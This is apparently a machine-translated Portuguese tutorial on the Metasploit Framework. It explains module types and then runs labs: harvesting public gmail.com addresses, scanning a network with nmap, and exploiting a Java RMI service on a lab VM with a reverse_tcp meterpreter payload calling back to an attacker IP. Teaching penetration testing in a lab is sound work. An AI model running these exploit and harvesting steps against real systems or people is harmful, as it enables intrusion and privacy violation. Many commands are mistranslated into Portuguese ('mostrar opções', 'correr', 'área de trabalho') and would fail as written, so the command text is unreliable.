Metasploit Framework é uma coleção de exploits, shellcodes, fuzzing tools, payloads, codificadores etc. Além disso, podemos considerá-lo como uma coleção de ferramentas de exploração agrupadas em uma única estrutura.
Ele está disponível em todas as principais plataformas Linux, Windows e OS X. Seu principal objetivo é testar as defesas da sua/empresa/organização atacando-as. Algo como “Ataque para Defesa”.
Na verdade, é aqui que um testador de penetração/analista de segurança começa a atacar a vítima após um grande reconhecimento. O Metasploit possui uma ampla gama de ferramentas e utilitários para realizar ataques contra todos os sistemas operacionais, incluindo Android e iOS.
Histórico do Metasploit Framework
Metasploit foi escrito pela primeira vez em Perl por HDMoore. Inicialmente, pretendia ser uma estrutura sustentável que automatiza o processo de exploração em vez de verificá-lo manualmente. A primeira versão foi lançada em 2003 e consistia em 8-11 (número exato não tenho certeza) sem exploits.
Em seguida, mais contribuidores colaboraram e contribuíram para isso, uma versão principal foi 2.7 em 2006, que consistia em mais de 150 exploits. Em seguida, uma grande mudança ocorreu na versão 3. Ela foi reprogramada em Ruby e tornou-se multiplataforma.
Além disso, o mais legal é que novos exploits e módulos podem ser baixados e adicionados com facilidade com o lançamento desta versão do Metasploit Framework. Em 2009, a Rapid7 adquiriu o projeto e ainda o possui e o mantém. Ainda assim, agora a arquitetura básica do Metasploit não foi alterada e as versões básicas são gratuitas.
Módulos e Interfaces do Metasploit Framework
Metasploit Framework vem em uma variedade de interfaces
- msfconsole – Um comando interativo como um shell para fazer todas as tarefas.
- msfcli – Chama funções msf do próprio terminal/cmd. Não altera o terminal.
- msfgui – a interface gráfica do usuário do Metasploit Framework.
- Armitag – Outra ferramenta gráfica escrita em Java para gerenciar o pentest realizado com MSF.
- Metasploit Community (ou superior) Web Interface – A interface baseada na web fornecida pelo rapid7 para fácil pentesting .
- CobaltStrike – Mais uma GUI com alguns recursos adicionais para pós-exploração, geração de relatórios, etc.
Módulos do Metasploit Framework
Explorar
Uma exploração é um método pelo qual o invasor tira proveito de uma falha em um sistema, serviço, aplicativo, etc. O invasor geralmente usa isso para fazer algo com o sistema/serviço/aplicativo específico que está atacando e que o desenvolvedor/implementador nunca pretendeu fazer. Tipo como mau uso. Isso é o que um invasor usa para obter acesso a um sistema.
Exploits são sempre acompanhados por payloads
Source: “Metasploit- A pentester’s Guide”
Carga útil
Uma carga útil é o pedaço de código que é executado no sistema explorado com sucesso. Depois que uma exploração funciona com sucesso, a estrutura injeta a carga útil por meio da vulnerabilidade explorada (falha) e a executa no sistema de destino. Assim, um invasor entra no sistema ou pode obter dados do sistema comprometido usando a carga útil.
Auxiliar
Fornece funcionalidade adicional como fuzzing, varredura, reconhecimento, ataque DOS, etc. Varreduras auxiliares para banners ou fuzzes de SOs ou fazem um ataque DOS no alvo. Ele não injeta uma carga útil como exploits. Significa que você não poderá obter acesso a um sistema usando um auxiliar
Fonte: “Mastering Metasploit” da PacktPub
Codificadores
Os codificadores são usados para ofuscar os módulos para evitar a detecção por um mecanismo de proteção, como um antivírus ou um firewall. Isso é amplamente usado quando criamos um backdoor. O backdoor é codificado (mesmo várias vezes) e enviado para a vítima.
Fonte: “Mastering Metasploit” da PacktPub
Shellcode
Shellcode é um conjunto de instruções usadas como carga útil quando ocorre exploração. Shellcode é normalmente escrito em linguagem assembly. Na maioria dos casos, um shell de comando ou um shell Meterpreter será fornecido após a execução da série de instruções pela máquina de destino, daí o nome.
Ouvinte
Um ouvinte escuta as conexões de uma carga útil injetada em um sistema comprometido.
Publicar
Como o nome sugere, esses módulos são usados para pós-exploração. Depois que um sistema é comprometido, podemos nos aprofundar no sistema ou defini-lo como um pivô para atacar outros sistemas usando esses módulos
Nops
Nop é No Operation popularmente conhecido por processadores x86 . Isso está relacionado a instruções de shellcode e linguagem de máquina. Resumidamente, ele evita que um programa (aqui o payload) falhe ao usar instruções de salto em seu shellcode.
Nops meio que faz um loop nas instruções de linguagem de máquina desde o início, se ele cair em um local de memória inválido após emitir uma instrução de salto. Assim, evita que a carga caia. Este é um conceito um tanto avançado e você deve entender a codificação do shell para entender e usar o nops.
Ok, chega de blá blá… Vamos nos divertir um pouco. Por enquanto, vamos prosseguir com um tutorial. Manterei você informado sobre os fundamentos e comandos do msfconsole nas próximas postagens.
Aqui está um breve diagrama de blocos sobre a arquitetura do Metasploit Framework
Laboratório 1: Reúna IDs de e-mail publicamente disponíveis nos mecanismos de pesquisa.
Neste laboratório Metasploit Framework, vamos tentar coletar IDs de e-mail de um domínio específico. Aqui utilizamos um módulo auxiliar através do msfconsole.
Etapa 1 : Pré-requisitos: Iniciar e habilitar o serviço PostgreSQL , verificar seu IP, iniciar o serviço Metasploit e msfconsole
Comando:service postgresql start
Comando:update-rc.d postresql enable
Comando: ip a | grep inet
Comando: início do metasploit de serviço
Comando: msfconsole
Etapa 2 : siga as etapas iniciais do Metasploit Framework.
Verifique e conecte db ao msfconsole.
Comando:db_status
O comando acima verifica se há uma conexão com o banco de dados. Vou explicar isso em detalhes nos próximos posts.
Se o serviço Metasploit for iniciado corretamente, haverá uma conexão. Caso contrário, abra um novo terminal, inicie o serviço (comando dado acima) e siga estes:
db_connect msf3:msf3@localhost/msf3
Em seguida, verifique o status do banco de dados novamente. Se não for bem-sucedido, não se preocupe, o msf funcionará bem, mas sem uma conexão com o banco de dados e alguns recursos estendidos. Para a solução, verifique a Etapa 2 no link a seguir
Passo 3 : Vamos prosseguir. Existe um módulo auxiliar que reúne todos os IDs de e-mail encontrados publicamente através do site de uma empresa, perfis sociais etc. O módulo funciona pesquisando-os em mecanismos de pesquisa como google, bing e yahoo.
No prompt do msf, digite:
procure email
Isso mostrará uma lista de módulos. Aqui vamos usar um módulo auxiliar: auxiliary/gather/search_email_collector
Digitar:
info auxiliar/gather/search_email_collector
Isso exibe algumas informações sobre o módulo.
Passo 4: Vamos prosseguir para usar o módulo
use auxiliar/gather/search_email_collector
Então, existem certas opções para este módulo, podemos ver isso usando o seguinte comando
mostrar opções
Vamos procurar IDs do Gmail disponíveis publicamente. portanto, definimos o domínio como Gmail e salvamos a saída em gmails.txt.
definir DOMAIN gmail.com
set OUTFILE /root/gmails.txt <certifique-se de usar o caminho absoluto aqui>
Tudo pronto, podemos executar o auxiliar agora, mas é sempre melhor visualizar todas as opções definidas antes de executar.
mostrar opções
O momento da verdade
correr
Após a conclusão bem-sucedida, o resultado estará no arquivo que especificamos. Verifique indo para a pasta inicial ou apenas abrindo um novo terminal e digite:
Comando: cat gmails.txt | less <substitua pelo nome do arquivo que você deu>
Lendo o arquivo de saída
Pressione q para sair.
Esta é uma demonstração muito básica do Metasploit Framework e feita exclusivamente para iniciantes. Além disso, este módulo é útil para coletar IDs de e-mail de uma empresa durante testes de penetração. Você pode definir a opção de domínio para seu domínio de destino e executar.
O Msfconsole fornece uma interface prática tudo-em-um para quase todas as opções e configurações disponíveis no Framework; é como um balcão único para todos os seus sonhos de exploração. Você pode usar o msfconsole para fazer tudo, incluindo iniciar uma exploração, carregar módulos auxiliares, realizar enumerações, criar ouvintes ou executar exploração em massa em uma rede inteira.
Msfconsole é realmente um shell interativo com o qual você pode trabalhar com a estrutura metasploit de forma dinâmica e fácil. Como dito acima, podemos explorar todas as funcionalidades do framework metasploit com este shell interativo.
O recurso mais surpreendente é que, mesmo que a estrutura principal seja alterada (seja atualizada ou alterada nos módulos), o msfconsole se ajusta dinamicamente com vários recursos, como sistema de ajuda, comando de pesquisa, capacidade de criar e gerenciar usuários, bancos de dados, espaços de trabalho, hosts, vulnerabilidades, etc.
Podemos ver as informações e a documentação de um módulo, ver as cargas correspondentes e, é claro, executar o exploit de maneira interativa e fácil.
Mais alguns termos e conceitos relacionados ao Metasploit e ao MSFConsole
- Banco de dados: Um banco de dados dedicado para o gerenciamento de informações como hosts, endereços IP, intervalos, vulnerabilidades, etc. Normalmente e de forma útil, podemos criar um novo banco de dados para cada um de nossos projetos de pentesting. O padrão é o postgresql.
- Usuário do DB: Adivinha só…? O usuário que está usando o banco de dados. Isso se torna muito útil durante a integração com a interface da web.
- Workspace: Uma espécie de espaço exclusivo para cada projeto. Realmente útil para gerenciar os dados de seus projetos. A criação de um novo projeto na Web-UI cria um novo espaço de trabalho no console.
Para todos esses laboratórios, precisamos de algumas máquinas. Você pode usar VMs ou máquinas físicas. Para a maioria dos laboratórios, estou usando metasploitable. Possui uma série de serviços vulneráveis, feitos exclusivamente para aprender Pentesting. Eu sugiro que você baixe e trabalhe com ele. Configure a rede para que seu Kali Linux Box e o Metasploitable Box estejam na mesma rede.
Opções da Estrutura do Metasploit
Comandos principais Descrição do comando ------- ----------- ? menu de ajuda voltar Mover para trás do contexto atual banner Exiba um banner metasploit incrível cd Altere o diretório de trabalho atual cor Alternar cor conectar-se comunicar com um host editar Edite o módulo atual com $VISUAL ou $EDITOR sair Sair do console get Obtém o valor de uma variável específica do contexto getg Obtém o valor de uma variável global go_pro Lançamento Metasploit web GUI grep Grep a saída de outro comando ajuda menu de ajuda info Exibe informações sobre um ou mais módulos irb Entra no modo de script irb jobs Exibe e gerencia trabalhos matar matar um trabalho load Carregar um plugin de framework loadpath Procura e carrega módulos de um caminho makerc Salvar comandos inseridos desde o início em um arquivo popm Retira o módulo mais recente da pilha e o torna ativo anterior Define o módulo carregado anteriormente como o módulo atual pushm Empurra o ativo ou a lista de módulos para a pilha de módulos sair Sair do console reload_all Recarrega todos os módulos de todos os caminhos de módulo definidos rename_job Renomear um trabalho recurso Executa os comandos armazenados em um arquivo route Rotear o tráfego através de uma sessão save Salva os armazenamentos de dados ativos search Pesquisa nomes e descrições de módulos sessões Despeja listas de sessões e exibe informações sobre as sessões set Define uma variável específica de contexto para um valor setg Define uma variável global para um valor show Exibe módulos de um determinado tipo ou todos os módulos sleep Não faz nada pelo número especificado de segundos spool Grava a saída do console em um arquivo, bem como a tela threads Visualize e manipule threads em segundo plano descarregar Descarregar um plug-in de estrutura unset Desativa uma ou mais variáveis específicas do contexto unsetg Desativa uma ou mais variáveis globais use Seleciona um módulo pelo nome versão Mostra os números de versão da biblioteca do console e do framework Comandos de back-end do banco de dados Metasploit Framework ========================= Descrição do comando ------- ----------- creds Lista todas as credenciais no banco de dados db_connect Conectar a um banco de dados existente db_disconnect Desconectar da instância atual do banco de dados db_export Exportar um arquivo contendo o conteúdo do banco de dados db_import Importar um arquivo de resultado de verificação (o tipo de arquivo será detectado automaticamente) db_nmap Executa o nmap e registra a saída automaticamente db_rebuild_cache Reconstrói o cache do módulo armazenado no banco de dados db_status Mostra o status atual do banco de dados hosts Lista todos os hosts no banco de dados loot Lista todos os loot no banco de dados notes Lista todas as notas no banco de dados services Lista todos os serviços no banco de dados vulns Lista todas as vulnerabilidades no banco de dados espaço de trabalho Alternar entre os espaços de trabalho do banco de dados
Metasploit Framework Lab: configurações iniciais
Agora vamos criar um novo banco de dados, usuário e um espaço de trabalho para nosso novo projeto.
Nota: Se você conhece o msfconsole e já trabalhou com ele antes, prossiga para a Etapa 6.
Etapa 1 : faça uma descoberta de host e execute uma enumeração.
Antes de tudo, temos que identificar os dispositivos presentes na rede e identificar nosso alvo. O processo é fazer um arp scan/nbtscan/netdiscover para descobrir hosts e, em seguida, encontrar serviços abertos. Obviamente, o sistema com muitas portas incomuns abertas é o mais vulnerável.
Descoberta de host: o seguinte envia várias solicitações arp e nos mostra a resposta dos hosts presentes na rede.
Comando: arp-scan 192.168.0.1/24<Enter your network Range>
Identificação de Serviço Simples: O seguinte apenas identifica todas as portas e serviços abertos em todos os hosts presentes na rede.
Comando: nmap -sS 192.168.0.1/24 -v
Limite nosso foco: a partir do resultado acima, escolha seu alvo. Por enquanto, escolhi 192.168.0.104, que tem muitas portas abertas. O comando Nmap a seguir executa uma varredura de script de enumeração automática no destino especificado. Podemos identificar as versões exatas e enumerar os serviços em execução no host usando o seguinte
Comando: nmap -sS -A 192.168.0.104 -vv
Passo 2 : Enquanto isso, configure msfconsole.
A verificação do script pode levar muito tempo, dependendo das opções que especificamos. O comando acima pode levar de 5 a 10 minutos em média. Enquanto isso, podemos configurar o msfconsole para o nosso projeto. Agora essa etapa não é necessariamente essencial, mas ajuda a manter a organização. Abra um novo terminal e faça o seguinte.
Iniciar serviço: Ignore se estiver ativado na inicialização.
Comando: service postgresql start
Mude para postgress e crie um novo banco de dados e usuário
Comando: su postgress
comando: createuser msfuser1 -P <substitua "msfuser1" pelo seu nome de usuário>
Dê a senha 2 vezes. Aqui eu dei “admin” como senha. Lembre-se de torná-lo complexo se você for sério.
Defina o usuário como superusuário e crie um banco de dados
Comando: createdb msfproj1 --owner=msfuser1 <substitua "msfproj1" pelo nome do seu banco de dados e "msfuser1" pelo seu nome de usuário>
Comando: sair
Iniciar o msfconsole
Comando: msfconsole
Etapa 3: conectar-se ao novo usuário e banco de dados no msfconsole e criar um novo espaço de trabalho
Desconecte o banco de dados e o usuário padrão e conecte nosso usuário e banco de dados recém-criados
msf> db_disconnect msf> db_connect msfuser1:admin@localhost/msfproj1
A sintaxe acima é
db_connect usuário:pass@host/dbname
Se você tiver um erro, consulte a ajuda de db_connect -h. Depois disso, você pode ver o banco de dados sendo preenchido e os caches sendo reconstruídos.
Para ver o espaço de trabalho atual,
msf> área de trabalho
Adicione um novo espaço de trabalho e mude para ele.
msf> workspace -a newproject <substitua pelo nome desejado> msf> área de trabalho "novo projeto"
Agora é só conferir tudo.
msf> db_status msf> área de trabalho
Lembre-se de procurar ajuda se tiver erro dando o comando seguido de “-h”. Se tudo estiver OK, vamos prosseguir.
Passo 4 : Preencha os hosts e serviços para metasploit db.
Este é um dos recursos interessantes do msfconsole. Você pode adicionar hosts, serviços e vulnerabilidades ao banco de dados. Podemos executar o nmap de dentro do msfconsole. Todos os resultados são armazenados no banco de dados também. Vamos vê-lo em ação.
Emita um nmap scan agian dentro do msfconsole. Aqui, a única diferença é que usamos db_nmap em vez do comando regular.
msf> db_nmap -sS 192.168.0.1/24 -vv
Isso preenche hosts e serviços. Veremos vulns em tutoriais posteriores. Após a conclusão da execução, veja os resultados.
Agora, veja os hosts e serviços atualmente presentes no banco de dados.
msf> hosts msf> serviços
Chega, vamos ao verdadeiro ataque.
Passo 5 : Identifique um serviço vulnerável.
Agora, esta etapa não é como deveria ser. Não descrevi a análise de vulnerabilidade porque tornaria o post muito longo. Discutiremos esta etapa em detalhes em tutoriais posteriores. Por enquanto exploramos um serviço “java_rmi_server”. Java RMI é Java Remote Method Invocation que permite a conexão entre diferentes objetos java em diferentes hosts. Nosso alvo tem uma versão vulnerável dele. Então vamos apenas explorá-lo.
Mais sobre Java RMI .
Para identificar java_rmi_server, observe o relatório nmap que fizemos primeiro.
Etapa 6 : Pesquise e use o módulo no msfconsole.
msf> pesquisar java_rmi msf> info exploit/multi/misc/java_rmi_server msf> use exploit/multi/misc/java_rmi_server
Agora você pode ver que o prompt mudou. Podemos ver as opções por
>mostrar opções
Defina o RHOST, que é nosso alvo, que está executando o serviço vulnerável.
definir RHOST 192.168.0.104
Lembre-se de definir todas as opções que tenham um valor “SIM obrigatório”. Consulte a tabela de opções. Verifique também se o RPORT também está correto. Verifique o resultado do nmap e a porta atualmente definida e veja se corresponde.
Em seguida, temos que definir todas as opções necessárias e uma carga útil. Primeiro, temos que procurar cargas úteis compatíveis. Todas as cargas podem não ser compatíveis com o módulo atual.
>mostrar cargas úteis
Em seguida, para configurá-lo, copie o caminho e o problema:
> definir PAYLOAD java/meterpreter/reverse_tcp
Meterpreter é uma carga útil de última geração. Podemos nos divertir muito com esta poderosa carga útil. Discutiremos isso mais tarde.
Agora defina o LHOST, que é a máquina para a qual a carga útil deve retornar a conexão. Lembre-se de fornecer o endereço IP completo em vez de localhost ou 127.0.0.1 etc.
definir LHOST 192.168.0.103
Se desejar, você pode alterar a porta de escuta
definir LPORT 4445
Tudo pronto, agora
>explorar
Agora que estamos no meterpreter, exploramos com sucesso um serviço e obtivemos acesso à nossa vítima. Há muitas opções que você pode fazer com o meterpreter. Por enquanto vamos tentar comandos simples.
meterpreter> ifconfig meterpreter>getuid
Você pode brincar com o meterpreter, tente a seção de ajuda emitindo “ajuda”. Tente você mesmo.
Passo 7 : Faça resumos.
Como este post ficou um pouco longo, incluí uma captura de tela do procedimento muito brevemente.